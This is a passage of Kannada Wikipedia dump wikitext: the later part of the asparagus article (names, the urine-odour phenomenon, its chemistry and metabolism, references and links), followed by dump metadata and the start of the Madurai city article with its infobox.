ಎಂಬಾತ 1791ರಲ್ಲಿ ಬರೆದಿರುವುದನ್ನು [[ಆಕ್ಸ್‌ಫರ್ಡ್‌ ಇಂಗ್ಲಿಷ್‌ ಡಿಕ್ಷ್‌ನರಿ]]ಯು ಉಲ್ಲೇಖಿಸುತ್ತದೆ. [[ಗ್ಲೌಸೆಸ್ಟರ್‌ಷೈರ್‌]] ಮತ್ತು [[ವೊರ್ಸೆಸ್ಟರ್‌ಷೈರ್‌]]ನಲ್ಲಿ ಇದನ್ನು ಕೇವಲ "ಹುಲ್ಲು" ಎಂದೇ ಕರೆಯಲಾಗುತ್ತದೆ. ಈ ಪದದ ಮತ್ತೊಂದು ಜನಪ್ರಿಯವಾದ [[ಆಡುಮಾತಿನ]] ಮಾರ್ಪಾಡೆಂದರೆ, ಟೆಕ್ಸಾಸ್‌ನ ಭಾಗಗಳಲ್ಲಿ ಅತಿ ಸಾಮಾನ್ಯವಾಗಿ ಬಳಕೆಯಲ್ಲಿರುವ "ಆಸ್ಪ್ಯಾರ್‌ ಹುಲ್ಲು" (ಆಸ್ಪ್ಯಾರ್‌ ಗ್ರಾಸ್‌) ಅಥವಾ "ಆಸ್ಪರ್‌ ಹುಲ್ಲು" (ಆಸ್ಪರ್‌ ಗ್ರಾಸ್‌) ಎಂಬ ಪದ.ಮಿಡ್ಲ್‌‌ವೆಸ್ಟ್‌ ಅಮೆರಿಕ ಸಂಯುಕ್ತ ಸಂಸ್ಥಾನಗಳು ಹಾಗೂ [[ಅಪ್ಪಾಲೇಚಿಯಾ]]ದಲ್ಲಿ, "ಸ್ಪಾರ್‌ ಹುಲ್ಲು" (ಸ್ಪಾರ್‌ ಗ್ರಾಸ್‌) ಎಂಬುದೊಂದು ಸಾಮಾನ್ಯ [[ಬಳಕೆಯ ಮಾತು]] ಆಗಿದೆ. ಹಣ್ಣಿನ ಚಿಲ್ಲರೆ ವ್ಯಾಪಾರಿಗಳ ವಲಯದಲ್ಲಿ ಶತಾವರಿಯು ಸಾಮಾನ್ಯವಾಗಿ "ಗುಬ್ಬಚ್ಚಿಗಳ ಕರುಳುಗಳು" (ಸ್ಪ್ಯಾರೋಸ್‌ ಗಟ್ಸ್‌) ಎಂದೇ ಜನಜನಿತ. ಪದದ ವ್ಯುತ್ಪತ್ತಿಯ ದೃಷ್ಟಿಯಿಂದ ಇದು "ಗುಬ್ಬಚ್ಚಿ ಹುಲ್ಲು" ಎಂಬ ಹಳೆಯ ಪದದಿಂದ ಪ್ರತ್ಯೇಕವಾಗಿ ಕಂಡರೂ, ಒಮ್ಮುಖವಾಗಿರುವ ಭಾಷಾ ವಿಕಸನವನ್ನು ಇದು ತೋರಿಸುತ್ತದೆ.{{Citation needed|date=February 2008}}ಶತಾವರಿಯನ್ನು [[ಫ್ರೆಂಚ್‌]] ಮತ್ತು [[ಡಚ್‌]] ಭಾಷೆಯಲ್ಲಿ ''ಆಸ್ಪರ್ಗೆ'' ಎಂದೂ, [[ಇಟಾಲಿಯನ್‌]] ಭಾಷೆಯಲ್ಲಿ ''ಆಸ್ಪ್ಯಾರಗೊ'' (ಹಳೆಯ ಇಟಾಲಿಯನ್‌ ಭಾಷೆಯಲ್ಲಿ ''ಆಸ್ಪ್ಯಾರಗಿಯೊ'' ) ಎಂದೂ, [[ಪೋರ್ಚುಗೀಸ್‌]] ಭಾಷೆಯಲ್ಲಿ ''ಎಸ್ಪಾರ್ಗೊ ಹೋರ್ಟೆನ್ಸ್‌'' ಎಂದೂ, [[ಸ್ಪ್ಯಾನಿಷ್‌]] ಭಾಷೆಯಲ್ಲಿ ''ಎಸ್ಪ್ಯಾರ್ರಾಗೊ'' ಎಂದೂ, [[ಜರ್ಮನ್‌]] ಭಾಷೆಯಲ್ಲಿ ''[[ಸ್ಪಾರ್ಗೆಲ್‌]]'' ಎಂದೂ, [[ಹಂಗೇರಿಯನ್‌]] ಭಾಷೆಯಲ್ಲಿ ''ಸ್ಪ್ಯಾರ್ಗಾ'' ಎಂದೂ ಕರೆಯಲಾಗುತ್ತದೆ.ಶತಾವರಿ ಎಂದು ಈಗ ಕರೆಯಲಾಗುತ್ತಿರುವುದು ಆಸ್ಪ್ಯಾರಗಸ್‌ಗೆ ಸಂಸ್ಕೃತದಲ್ಲಿರುವ ಹೆಸರು. ಭಾರತದಲ್ಲಿ ಚಾರಿತ್ರಿಕವಾಗಿ ಇದನ್ನು ಆಯುರ್ವೇದೀಯ ಔಷಧಿಗಳ ಒಂದು ಭಾಗವಾಗಿ ಬಳಸುತ್ತಾ ಬರಲಾಗಿದೆ. [[ಕನ್ನಡ]] ಭಾಷೆಯಲ್ಲಿ, ಇದು ಆಸಡಿ, ಮಜ್ಜಿಗೆಗಡ್ಡೆ ಅಥವಾ ಸಿಪಾರಿಬೇರುಬಳ್ಳಿ ಎಂಬ ಹೆಸರುಗಳಿಂದ ಜನಜನಿತವಾಗಿದೆ. [[ಥೈಲೆಂಡ್‌]]ನಲ್ಲಿ ಇದು ''ನೋ ಮಾಯ್‌ [[ಫರಾಂಗ್‌]]'' ({{lang-th|หน่อไม้ฝรั่ง}}) ಎಂದೇ ಹೆಸರುವಾಸಿ. ಇದರ ಅಕ್ಷರಶಃ ಅರ್ಥ, "ಯುರೋಪಿನ [[ಬಿದಿರು ಚಿಗುರು]]ಗಳು" ಎಂಬುದಾಗಿದೆ. ಹಸಿರು ಶತಾವರಿಯನ್ನು ಸಾಮಾನ್ಯವಾಗಿ [[ಥಾಯ್‌ ಪಾಕವಿಧಾನ]]ದಲ್ಲಿ ಬಳಸಲಾಗುತ್ತದೆ. == ಮೂತ್ರ == ಶತಾವರಿಯನ್ನು ಸೇವಿಸುವುದರಿಂದ ತಿನ್ನುವವರ ಮೂತ್ರದ ಮೇಲಾಗುವ ಪ್ರಭಾವವನ್ನು ಬಹಳ ಕಾಲದಿಂದ ಗಮನಿಸಿಕೊಂಡು ಬರಲಾಗಿದೆ: :"ಶತಾವರಿಯು... ಒಂದು [[ಕೊಳೆತು ನಾರುವ]] ವಾಸನೆಯೊಂದಿಗೆ ಮೂತ್ರದ ಮೇಲೆ ಪ್ರಭಾವ ಬೀರುತ್ತದೆ (ವಿಶೇಷವಾಗಿ ಬಿಳಿ ಬಣ್ಣದಲ್ಲಿರುವಾಗಲೇ ಅದನ್ನು ಕತ್ತರಿಸಿದರೆ). ಆದ್ದರಿಂದ ಅವು ಮೂತ್ರಪಿಂಡಗಳಿಗೆ ಅನುಕೂಲಕರವಲ್ಲ ಎಂದು ಕೆಲವೊಂದು ವೈದ್ಯರು ಶಂಕಿಸುತ್ತಾರೆ. ಅವಕ್ಕೆ ವಯಸ್ಸಾಗುತ್ತಾ ಶಾಖೋಪಶಾಖೆಗಳಾಗಿ ಹರಡಿಕೊಳ್ಳಲು ಪ್ರಾರಂಭಿಸಿದಾಗ, ಈ ಗುಣವನ್ನು ಅವು ಕಳೆದುಕೊಳ್ಳುತ್ತವೆ; ಆದರೆ ಆ ವೇಳೆಗೆ ಅವು ಅಷ್ಟೊಂದು ಹಿತಕರವಾಗಿ ಉಳಿದಿರುವುದಿಲ್ಲ"<ref>{{citation |author=Arbuthnot J |year=1735 |author-link=John Arbuthnot |title=An Essay Concerning the Nature of Aliments 3rd ed. |pages=64261–262 |publisher=J. Tonson |city=London}}</ref> [[ಮಾರ್ಸೆಲ್‌ ಪ್ರೌಸ್ಟ್‌]] ಎಂಬಾತ, ಶತಾವರಿಯು "...ನನ್ನ ಮೂತ್ರಪಾತ್ರೆಯನ್ನು ಸುಗಂಧದ್ರವ್ಯದ ಒಂದು ಸೀಸೆಯಾಗಿ (ಫ್ಲಾಸ್ಕ್‌ ಆಗಿ) ಮಾರ್ಪಡಿಸುತ್ತದೆ" ಎಂದು ಹೇಳಿಕೊಂಡಿದ್ದಾನೆ.<ref>ಫ್ರೆಂಚ್‌ನಿಂದ "[...] ಚೇಂಜ್ ಮೈ ಚೇಂಬರ್ ಪಾಟ್‌ ಇನ್‌ಟು ಎ ಜಾರ್ ಆಫ್ ಪರ್‌ಫ್ಯೂಮ್‌, "(1) ಡು ಕೋಟ್‌ ಡೆ ಸ್ವಾನ್‌, ಗ್ಯಾಲಿಮಾರ್ಡ್‌, 1988.</ref> ಬಹಳಷ್ಟು ಜನರಿಗೆ ಶತಾವರಿ ಮೂತ್ರದ ವಿದ್ಯಮಾನದ ಕುರಿತು ಅರಿವಿರಲಿಲ್ಲ ಎಂದು 1950ರ ದಶಕದಿಂದ ಬಂದಿರುವ ಒಂದು ಅವಲೋಕನದ ಸಾಕ್ಷ್ಯವು ತೋರಿಸಿದೆ. ಎಲ್ಲಾ (ಅಥವಾ ಕೇವಲ ಕೆಲವು) ಜನರು ವಾಸನೆಯನ್ನು ಹೊರಹೊಮ್ಮಿಸುತ್ತಾರೆಯೇ ಅಥವಾ ಇಲ್ಲವೇ, ಮತ್ತು ಎಲ್ಲಾ (ಅಥವಾ ಕೇವಲ ಕೆಲವು) ಜನರು ವಾಸನೆಯನ್ನು ಗುರುತಿಸುತ್ತಾರೆಯೇ ಅಥವಾ ಇಲ್ಲವೇ ಎಂಬ ಬಗ್ಗೆ ಚರ್ಚೆ ನಡೆಯುತ್ತಿದೆ.{{Citation needed|date=November 2008}} ಮೂಲತಃ ಈ ರೀತಿಯದೊಂದು ಯೋಚನೆ ಬರಲು ಕಾರಣವೇನೆಂದರೆ, ಕೆಲವೊಂದು ಜನಸಮುದಾಯವು ಇತರರಿಗಿಂತ ವಿಭಿನ್ನವಾಗಿ ಶತಾವರಿಯನ್ನು ಜೀರ್ಣಿಸಿಕೊಂಡಿದ್ದರಿಂದಾಗಿ ಕೆಲವೊಂದು ಜನ ಶತಾವರಿಯನ್ನು ತಿಂದ ನಂತರ ವಾಸನೆಯುಳ್ಳ ಮೂತ್ರವನ್ನು ವಿಸರ್ಜಿಸಿದರೆ, ಮತ್ತೆ ಕೆಲವರದು ಆ ರೀತಿ ಇರಲಿಲ್ಲ.ಆದಾಗ್ಯೂ, 1980ರ ದಶಕದಲ್ಲಿ ಫ್ರಾನ್ಸ್‌,<ref>{{cite web | url=http://www.pubmedcentral.nih.gov/picrender.fcgi?artid=1379934&blobtype=pdf | journal=Br J. Clin. Pharmac | title=Odorous urine in man after asparagus | author=C. RICHER1, N. DECKER2, J. BELIN3, J. L. IMBS2, J. L. MONTASTRUC3 & J. F. GIUDICELLI |date=May 1989}}</ref> ಚೀನಾ ಮತ್ತು ಇಸ್ರೇಲ್‌ ವತಿಯಿಂದ ನಡೆಸಲ್ಪಟ್ಟ ಮೂರು ಅಧ್ಯಯನಗಳು ಒಂದಷ್ಟು ಫಲಿತಾಂಶವನ್ನು ಪ್ರಕಟಿಸಿದವು. ಶತಾವರಿಯ ಬಳಕೆಯಿಂದಾಗಿ ವಾಸನೆಯುಕ್ತ ಮೂತ್ರವನ್ನು ಉತ್ಪಾದಿಸುವುದು ಒಂದು ಸಾರ್ವತ್ರಿಕ ಮಾನವ ಲಕ್ಷಣವಾಗಿತ್ತು ಎಂಬುದನ್ನು ಆ ಫಲಿತಾಂಶಗಳು ತೋರಿಸಿದ್ದವು. ಇಸ್ರೇಲಿನ ಅಧ್ಯಯನದ ಅನುಸಾರ, ತನ್ನ 307 ಪರೀಕ್ಷಾರ್ಥ ಮಂದಿಯ ಪೈಕಿ 'ಶತಾವರಿ ಮೂತ್ರ'ದ ವಾಸನೆಯನ್ನು ಗ್ರಹಿಸಬಲ್ಲ ಎಲ್ಲರೂ ಶತಾವರಿಯನ್ನು ಸೇವಿಸಿದ್ದ ಯಾರದೇ ಮೂತ್ರದಲ್ಲಿನ ಸದರಿ ವಾಸನೆಯನ್ನು ಪತ್ತೆಹಚ್ಚಬಲ್ಲವರಾಗಿದ್ದರು; ಒಂದು ವೇಳೆ ಆ ವಾಸನೆಯನ್ನು ಉತ್ಪಾದಿಸಿದ್ದ ವ್ಯಕ್ತಿ ಸ್ವತಃ ಅದನ್ನು ಪತ್ತೆಹಚ್ಚಲು ಆಗದಿದ್ದರೂ ಇವರಿಗೆ ಸಾಧ್ಯವಾಗಿತ್ತು ಎಂಬ ಅಂಶವು ಕಂಡುಬಂತು.<ref>{{cite journal | url=http://www.pubmedcentral.nih.gov/picrender.fcgi?artid=1379935&blobtype=pdf | journal=Br J. Clin. Pharmac | title=Asparagus and malodorous urine | author=S. C. MITCHELL |date=May 1989}}</ref> ಹೀಗಾಗಿ, ಶತಾವರಿಯನ್ನು ಸೇವಿಸಿದ ನಂತರ ಬಹುತೇಕ ಮಂದಿ ವಾಸನೆಯುಕ್ತ ಸಂಯುಕ್ತಗಳನ್ನು ಉತ್ಪಾದಿಸುತ್ತಾರಾದರೂ, ಅವರ ಪೈಕಿ ಕೇವಲ 22%ನಷ್ಟು ಜನರು ಆ ವಾಸನೆಯನ್ನು ಗ್ರಹಿಸಲು ಅಥವಾ ಘ್ರಾಣಿಸಲು ಅಗತ್ಯವಾಗಿರುವ [[ಅಲಿಂಗ ವರ್ಣತಂತುವಿನ]] (ಆಟೋಸೋಮಲ್‌) ಜೀನ್‌ಗಳನ್ನು ಹೊಂದಿರುತ್ತಾರೆ ಎಂದು ನಂಬಲಾಗಿದೆ.<ref>{{cite web | url=https://www.theguardian.com/food/story/0,,1576765,00.html | publisher=The Guardian | title=The scientific chef: asparagus pee| date=September 23, 2005 | accessdate=2007-04-21}}</ref><ref>{{cite web | url=http://www.discovery.com/area/skinnyon/skinnyon970115/skinny1.html | title=Why Asparagus Makes Your Pee Stink | author=Hannah Holmes | publisher=Discover.com }}</ref><ref>{{cite journal | journal=Br Med J | volume=281 | pages=1676 | year= 1980 | author=Lison M, Blondheim SH, Melmed RN. | title=A polymorphism of the ability to smell urinary metabolites of asparagus | url=http://www.pubmedcentral.nih.gov/articlerender.fcgi?tool=pubmed&pubmedid=7448566 | pmid=7448566 | doi =10.1136/bmj.281.6256.1676 }}</ref> === ರಸಾಯನ ಶಾಸ್ತ್ರ === ಶತಾವರಿಯಲ್ಲಿನ ನಿಗದಿತ ಸಂಯುಕ್ತಗಳು [[ಚಯಾಪಚಯ ಕ್ರಿಯೆಗೊಳಗಾಗಿ]] ಮೂತ್ರಕ್ಕೆ ಒಂದು ಪ್ರತ್ಯೇಕವಾದ ವಾಸನೆಯನ್ನು ನೀಡುತ್ತವೆ. [[ಥಯಾಲ್‌]]ಗಳು, [[ಥಯೋ ಎಸ್ಟರು]]ಗಳು, ಮತ್ತು ಅಮೋನಿಯಾವನ್ನೊಳಗೊಂಡಂತೆ, [[ಗಂಧಕ]]ವನ್ನು ಒಳಗೊಂಡಿರುವ, ಸರಳ ಸಂಯುಕ್ತಗಳನ್ನಾಗಿ ಒಡೆಯುವ ಅನೇಕ ಉತ್ಪನ್ನಗಳೇ ಈ ಪ್ರತ್ಯೇಕವಾದ ವಾಸನೆಗೆ ಕಾರಣ.<ref>{{cite journal | journal=Science | volume=189 | pages=810–11 | year=1975 | author=White RH. | title=Occurrence of S-methyl thioesters in urines of humans after they have eaten asparagus | url=http://www.sciencemag.org/cgi/pmidlookup?view=long&pmid=1162354 | pmid=1162354 | doi = 10.1126/science.1162354 }}</ref> ಈ ವಾಸನೆಗೆ ಕಾರಣವಾದ [[ಬಾಷ್ಪಶೀಲ ಸಾವಯವ ಸಂಯುಕ್ತ]]ಗಳನ್ನು ಈ ಕೆಳಕಂಡಂತೆ ಗುರುತಿಸಲಾಗಿದೆ:<ref>{{cite journal |year=1987 |title=The chemical nature of the urinary odour produced by man after asparagus ingestion |journal=Xenobiotica |volume=17 |pages=1363–1371 |pmid=3433805 |author=Waring RH, Mitchell SC and Fenwick GR }}</ref><ref>[http://dmd.aspetjournals.org/cgi/content/full/29/4/539#SEC2 ಫುಡ್‌ ಇಡಿಯಾಸಿಂಕ್ರಸೀಸ್‌: ಬೀಟ್‌ರೂಟ್‌ ಅಂಡ್‌ ಆಸ್ಪ್ಯಾರಗಸ್‌]</ref> * [[ಮೀಥೇನೆಥಿಯಾಲ್‌]], * [[ಡೈಮೀಥೈಲ್‌ ಸಲ್ಫೈಡ್‌]], * [[ಡೈಮೀಥೈಲ್‌ ಡೈಸಲ್ಫೈಡ್‌]], * ಬಿಸ್‌(ಮೀಥೈಲ್‌ಥಯೋ)ಮೀಥೇನ್, * [[ಡೈಮೀಥೈಲ್‌ ಸಲ್ಫಾಕ್ಸೈಡ್‌]], ಮತ್ತು * [[ಡೈಮೀಥೈಲ್‌ ಸಲ್ಫೋನ್‌]]. ವ್ಯಕ್ತಿನಿಷ್ಠವಾಗಿ ಹೇಳುವುದಾದರೆ, ಮೊದಲೆರಡು ಸಂಯುಕ್ತಗಳು ಅತ್ಯಂತ ಘಾಟುವಾಸನೆಯನ್ನು ಹೊಂದಿದ್ದು, ಕೊನೆಯ ಎರಡು (ಗಂಧಕ-ಆಕ್ಸಿಡೀಕೃತ ಅಥವಾ ಗಂಧಕ-ಉತ್ಕರ್ಷಿತ) ಸಂಯುಕ್ತಗಳು ಒಂದು ಸುವಾಸನೆಯ ಪರಿಮಳವನ್ನು ನೀಡುತ್ತವೆ. ಈ ಸಂಯುಕ್ತಗಳ ಒಂದು ಸಮ್ಮಿಶ್ರಣವು ಒಂದು "ಪುನಾರಚಿತ ಶತಾವರಿ ಮೂತ್ರದ" ವಾಸನೆಯನ್ನು ರೂಪಿಸುತ್ತವೆ. ಇದನ್ನು [[1891]]ರಲ್ಲಿ [[ಮಾರ್ಸೆಲಿ ನೆನ್‌ಕಿ]] ಎಂಬಾತ ಮೊಟ್ಟಮೊದಲು ಪತ್ತೆ ಹಚ್ಚಿ, ಇದರ ವಾಸನೆಗೆ [[ಮೀಥೇನೆಥಿಯಾಲ್‌]] ಸಂಯುಕ್ತವೇ ಕಾರಣ ಎಂದು ತಿಳಿಸಿದ.<ref>{{cite journal |last=Nencki |first=Marceli |author-link=Marceli Nencki |year=1891 |title=Ueber das vorkommen von methylmercaptan im menschlichen harn nach spargelgenuss |journal=Arch Exp Path Pharmak |volume=28 |pages=206–209 |doi=10.1007/BF01824333 }}</ref> ಶತಾವರಿಗೆ ಅನನ್ಯವಾಗಿರುವ ಗಂಧಕವನ್ನು ಈ ಸಂಯುಕ್ತಗಳು ಮಾತ್ರವೇ ಒಳಗೊಂಡಿರುವುದರಿಂದ, ಶತಾವರಿಯಲ್ಲಿ ಇವು [[ಆಸ್ಪ್ಯಾರಗ್ಯುಸಿಕ್‌ ಆಮ್ಲ]] ಮತ್ತು ಅದರ ಜನ್ಯ ವಸ್ತುಗಳಾಗಿ ಹುಟ್ಟಿಕೊಳ್ಳುತ್ತವೆ. ಈ ಸಂಯುಕ್ತಗಳು ಎಳೆಯ ಶತಾವರಿಯಲ್ಲಿ ಹೆಚ್ಚಿನ ಪ್ರಮಾಣದಲ್ಲಿ ಇರುತ್ತವೆಯಾದ್ದರಿಂದ, ಎಳೆಯ ಶತಾವರಿಯನ್ನು ಸೇವಿಸಿದ ನಂತರ ವಾಸನೆ ಹೆಚ್ಚಾಗಿ ಎದ್ದುಕಾಣುತ್ತದೆ ಎಂಬ ಅಭಿಪ್ರಾಯಕ್ಕೆ ಅದು ಅನುಗುಣವಾಗಿದೆ. === ಚಯಾಪಚಯ ಕ್ರಿಯೆ === ಈ ಸಂಯುಕ್ತಗಳನ್ನು ಉತ್ಪಾದಿಸಲು ಅಗತ್ಯವಿರುವ ಜೈವಿಕ ಕಾರ್ಯವಿಧಾನವು ಅಷ್ಟೊಂದು ಸ್ಪಷ್ಟವಾಗಿಲ್ಲ.{{Citation needed|date=November 2008}}ಆಹಾರ ಸೇವನೆಯಾದ 15–30 ನಿಮಿಷಗಳೊಳಗೆ ಮೂತ್ರದ ವಾಸನೆಯ ದೃಢವಾದ ಆರಂಭದ ವೇಗವು ಕಂಡುಬರುತ್ತದೆ ಎಂದು ಅಂದಾಜಿಸಲಾಗಿದೆ.<ref>{{cite web | url=http://www.webmd.com/content/article/43/1671_51089 | publisher=WebMD | title=Eau D'Asparagus | author=Somer, E. | date=August 14, 2000 | accessdate=2006-08-31}}</ref> ವಾಟರ್‌ಲೂ ವಿಶ್ವವಿದ್ಯಾಲಯದ ಡಾ. ಆರ್‌. ಮೆಕ್‌ಲೆಲ್ಲಾನ್‌ ಸಂಶೋಧನೆಯನ್ನು ಸಂಪೂರ್ಣಗೊಳಿಸಿ, ಪರಿಶೀಲಿಸಿದ್ದಾರೆ. == ಉಲ್ಲೇಖಗಳು == [[ಚಿತ್ರ:AsparagusinAutumn3.JPG|thumb|250px|right|ಶರತ್ಕಾಲದಲ್ಲಿ ಶತಾವರಿಯ ಎಲೆಗೊಂಚಲು ಉಜ್ಜ್ವಲ ಕೆಂಪು ಬಣ್ಣದಲ್ಲಿ ಹೊಳೆಯುತ್ತದೆ]] {{Reflist}} == ಬಾಹ್ಯ ಕೊಂಡಿಗಳು == {{commonscat|Asparagus officinalis}} {{Cookbook|Asparagus}} {{Wikisource1911Enc}} * [http://database.prota.org/dbtw-wpd/exec/dbtwpub.dll?AC=QBE_QUERY&amp;BU=http%3A%2F%2Fdatabase.prota.org%2Fsearch.htm&amp;TN=PROTAB~1&amp;QB0=AND&amp;QF0=Species+Code&amp;QI0=Asparagus+officinalis&amp;RF=Webdisplay ''ಆಸ್ಪ್ಯಾರಗಸ್‌ ಅಫಿಷಿನಾಲಿಸ್‌'' ಕುರಿತಾದ PROTAಬೇಸ್‌] {{Webarchive|url=https://web.archive.org/web/20121211010030/http://database.prota.org/dbtw-wpd/exec/dbtwpub.dll?AC=QBE_QUERY&BU=http%3A%2F%2Fdatabase.prota.org%2Fsearch.htm&TN=PROTAB~1&QB0=AND&QF0=Species+Code&QI0=Asparagus+officinalis&RF=Webdisplay |date=2012-12-11 }} * [http://www.ibiblio.org/pfaf/cgi-bin/arr_html?Asparagus+officinalis ''ಆಸ್ಪ್ಯಾರಗಸ್‌ ಅಫಿಷಿನಾಲಿಸ್‌'' ] - ಭವಿಷ್ಯದ ಒಂದು ದತ್ತಾಂಶ ಸಂಗ್ರಹದ ದಾಖಲೆಗಾಗಿರುವ ಸಸ್ಯಗಳು * {{PDFlink|[http://www.fas.usda.gov/htp/Hort_Circular/2005/08-05/Asparagus%20article.pdf World Asparagus Situation and Outlook]|55.0&nbsp;[[Kibibyte|KiB]]<!-- application/pdf, 56385 bytes -->}} - 2005 USDA ವರದಿ * [http://ohioline.osu.edu/b826/index.html ಆಸ್ಪ್ಯಾರಗಸ್‌ ಪ್ರೊಡಕ್ಷನ್ ಮ್ಯಾನೇಜ್‌ಮೆಂಟ್‌ ಅಂಡ್‌ ಮಾರ್ಕೆಟಿಂಗ್‌] - ವಾಣಿಜ್ಯೋದ್ದೇಶಕ್ಕಾಗಿ ಬೆಳೆಸುವುದು (OSU ನಿಯತಕಾಲಿಕ ಪ್ರಕಟಣೆ) * [http://www.asparagusfest.com ಸ್ಟಾಕ್‌ಟನ್‌ ಆಸ್ಪ್ಯಾರಗಸ್‌ ಮೇಳ] - [[ಕ್ಯಾಲಿಫೋರ್ನಿಯಾ]]ದ [[ಸ್ಟಾಕ್‌ಟನ್‌]]ನಲ್ಲಿ ಪ್ರತಿವರ್ಷ ಏಪ್ರಿಲ್‌ನಲ್ಲಿ ಹಮ್ಮಿಕೊಳ್ಳಲಾಗುತ್ತದೆ. * [http://www.plants.am/wiki/Asparagus''Growing Asparagus'' ] ಶತಾವರಿ ಬೆಳೆಯುವುದಕ್ಕೆ ಸಂಬಂಧಿಸಿದ ಮಾರ್ಗದರ್ಶಿ * [http://www.asparagusgrowing.net/asparagus-growing/how-to-grow-asparagus-in-your-garden''How to grow asparagus in your garden'' ] ನಿಮ್ಮ ಕೈತೋಟದಲ್ಲಿ ಶತಾವರಿಯನ್ನು ಬೆಳೆಯುವುದಕ್ಕೆ ಸಂಬಂಧಿಸಿದ ಮಾರ್ಗದರ್ಶಿ * [http://aesop.rutgers.edu/~asparagus/research/asparagus.html ನ್ಯೂಜೆರ್ಸಿ ಸಂಸ್ಥಾನದ ವಿಶ್ವವಿದ್ಯಾಲಯವಾದ ರಟ್ಗರ್ಸ್‌ನಲ್ಲಿನ ಶತಾವರಿ ತಳಿ-ಸಾಕಣೆ ಕಾರ್ಯಕ್ರಮ] {{Webarchive|url=https://web.archive.org/web/20100311223310/http://aesop.rutgers.edu/~asparagus/research/asparagus.html |date=2010-03-11 }} * [http://dsc.discovery.com/guides/skinny-on/asparagus.html ಮೂತ್ರದ ಮೇಲೆ ಶತಾವರಿಯ ಪರಿಣಾಮ ಎಂಬ ಲೇಖನ] [[ವರ್ಗ:ಶತಾವರಿ]] [[ವರ್ಗ:ಔಷಧೀಯ ಸಸ್ಯಗಳು]] [[ವರ್ಗ:ಕಾಂಡದ ತರಕಾರಿಗಳು]] [[ವರ್ಗ:ಅಸ್ಪಾರಗೇಲ್ಸ್‌ ಕುಲ]] [[ವರ್ಗ:ಆಯುರ್ವೇದ]] [[ವರ್ಗ:ಸಸ್ಯಗಳು]] [[bn:শতমূলী]] mzswxz6w8n75qv6ruhaodqayugk6muu ಮಧುರೈ 0 22063 1116552 1064784 2022-08-24T02:56:09Z Info-farmer 7254 /* ಗಾಂಧಿ ವಸ್ತುಸಂಗ್ರಹಾಲಯ */ File:Gandhi museum, Madurai.jpg wikitext text/x-wiki {{Infobox Indian Jurisdiction | native_name = ಮದುರೈ <br />மதுரை | type = city | latd = 9.8 | longd = 78.10 | skyline=Madurai, India.jpg | skyline_caption= ಮದುರೈನ ನೋಟ | state_name =ತಮಿಳುನಾಡು | district = [[ಮದುರೈ ಜಿಲ್ಲೆ]] | language = ತಮಿಳು | area_total = 109 | altitude = 8 | population_total = 1128869 |population_density=೧೦೨೫೬ | population_as_of = ೨೦೦೧ | population_total_cite =<ref name=census /> | leader_title = ಮೇಯರ್ | leader_name = ಥೆನ್ಮೋಳಿ ಗೋಪಿನಾಥನ್<ref>{{cite web | url=http://www.hindu.com/2006/10/29/stories/2006102911600100.htm | title=First woman Mayor for Madurai | work=The Hindu | dateformat=mdy | accessdate=October 29, 2006 | archive-date=ಅಕ್ಟೋಬರ್ 1, 2007 | archive-url=https://web.archive.org/web/20071001015924/http://www.hindu.com/2006/10/29/stories/2006102911600100.htm | url-status=dead }}</ref> | area_telephone = 452 | postal_code = 625 0xx | vehicle_code_range = TN-58, TN-59 and TN-64| website = www.maduraicorporation.in }} [[ಭಾರತೀಯ]] ದ್ವೀಪಕಲ್ಪ<ref name="FrommersIndia">ಫ್ರಾ/ಫ್ರಮ್ಮರ್ಸ್‌ ಇಂಡಿಯಾ ಲೇ: ಪಿಪ್ಪ ಡೆಬ್ರೂನ್‌, ಕೀತ್‌ ಬೇನ್‌, ನೀಲೋಫರ್‌ ವೆಂಕಟರಾಮನ್‌, ಷೋನಾರ್‌ ಜೋಷಿ</ref> ದ ಜನವಾಸ್ತವ್ಯವಿದ್ದ ಪ್ರಾಚೀನ ನಗರ '''ಮಧುರೈ''' ({{lang-ta|மதுரை}}). [[ಭಾರತದ ರಾಜ್ಯ]]ವಾದ [[ತಮಿಳುನಾಡು|ತಮಿಳುನಾಡಿ]]ನ [[ಮಧುರೈ ಜಿಲ್ಲೆ]]ಯಲ್ಲಿ [[ವೈಗೈ ನದಿ]]ತೀರದ ಪ್ರಾಚೀನ ಹಾಗೂ ಪ್ರತಿಷ್ಠಿತ ನಗರವಾಗಿದೆ. ಈ ನಗರವನ್ನು ವ್ಯಾಪಕವಾಗಿ '''ದೇವಾಲಯಗಳ ನಗರ''' <ref name="FrommersIndia" />, ಇದನ್ನು ಕೂದಲ್‌ ಮಾನಗರ್‌ ಎಂದೂ ಕರೆಯುತ್ತಾರೆ, ತಮಿಳುನಾಡಿನ ಸಾಂಸ್ಕೃತಿಕ ರಾಜಧಾನಿ (ಕಲಾಚಾರ ತಲೈನಗರ್‌) , ಮಲ್ಲಿಗೈ ಮಾನಗರ್‌(ಮಲ್ಲಿಗೆಯ ನಗರ), ಥೂಂಗ ನಗರಂ(ನಿದ್ದೆಮಾಡದ ನಗರ), '''ಪೂರ್ವದ ಅಥೆನ್ಸ್‌''' ಎಂಬಿತ್ಯಾದಿ ಹೆಸರುಗಳಿಂದ ಕರೆಯುತ್ತಾರೆ. 2001ರ ಜನಗಣತಿ<ref>{{cite web|url=http://www.citypopulation.de/India-TamilNadu.html |title=Tamil Nādu - City Population - Cities, Towns & Provinces - Statistics & Map |publisher=Citypopulation.de |date= |accessdate=2009-09-23}}</ref> ಯ ಪ್ರಕಾರ 1,203,095ರಷ್ಟು ಜನಸಂಖ್ಯೆ ಇರುವ ಈ ನಗರ ತಮಿಳುನಾಡಿನಲ್ಲೇ ಮೂರನೇ ಅತಿ ದೊಡ್ಡ ಮಹಾನಗರವಾಗಿದೆ. ಪ್ರಾಚೀನ ಕಾಲದ ದಕ್ಷಿಣ ನಾಗರೀಕತೆಯ ರಾಜಧಾನಿಯಾಗಿತ್ತು ಮಧುರೈ ಮಹಾನಗರ. ಮಧುರೈನ ಸಾಂಸ್ಕೃತಿಕ ಹಿನ್ನೆಲೆಯು 2,500 ವರ್ಷಗಳಷ್ಟು ಹಿಂದಿನದು ಹಾಗೂ ನಗರವು ಪ್ರಮುಖ ವಾಣಿಜ್ಯ ಕೇಂದ್ರವಾಗಿದ್ದುದಲ್ಲದೇ 550 B.C.E.<ref name="FrommersIndia" /> ಗಳಷ್ಟು ಪ್ರಾಚೀನ ಕಾಲದಿಂದ ರೋಮ್‌ ಮತ್ತು ಗ್ರೀಸ್‌ ರಾಷ್ಟ್ರಗಳ ಜೊತೆಗೆ ವ್ಯವಹಾರ ನಡೆಸಲಾಗುತ್ತಿತ್ತು<ref name="http://www.madurai.com/madurai.htm">{{cite web |author= 